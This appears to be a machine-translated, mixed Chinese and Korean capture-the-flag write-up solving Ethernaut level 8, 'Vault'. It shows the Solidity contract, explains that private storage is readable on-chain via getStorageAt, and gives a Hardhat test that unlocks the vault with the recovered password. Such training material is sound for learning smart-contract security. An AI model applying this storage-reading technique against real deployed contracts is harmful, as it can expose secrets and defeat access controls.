Ethernaut系列-레벨 8(볼트)
레벨 8(금고):
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
通关要求
잠김 = 거짓
要点
合约的存储变量,包含private,对外都是可见的.
跟第三关类似
解题思路
直接查看password并调用
테스트/08Vault.js
it("attacks", async function () {
//这个值可以从chrome的console中执行来获取(虽然是private):await web3.eth.getStorageAt(instance,1)+""
await levelContract
.connect(player)
.unlock(
"0x412076657279207374726f6e67207365637265742070617373776f7264203a29"
);
});
Reference
이 문제에 관하여(Ethernaut系列-레벨 8(볼트)), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://dev.to/bin2chen/ethernautxi-lie-level-8-vault-3mfm텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)